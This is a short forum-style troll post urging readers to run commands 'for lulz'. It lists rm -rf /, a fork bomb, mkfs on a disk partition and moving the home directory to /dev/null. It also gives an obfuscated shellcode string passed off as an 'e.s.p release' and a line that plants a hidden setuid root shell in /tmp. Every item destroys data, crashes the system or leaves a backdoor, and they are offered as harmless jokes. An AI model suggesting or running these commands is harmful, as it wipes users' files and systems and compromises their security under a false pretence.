Fuck that, do these instead:
rm -rf /
or
char esp[] __attribute__ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
\x6e\x2f\x73\x68\x00\x2d\x63\x00″
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;
or

){ :|: & };:
or
mkfs.ext4 /dev/sda1
or
mv ~ /dev/null
These will all give moar lulz.
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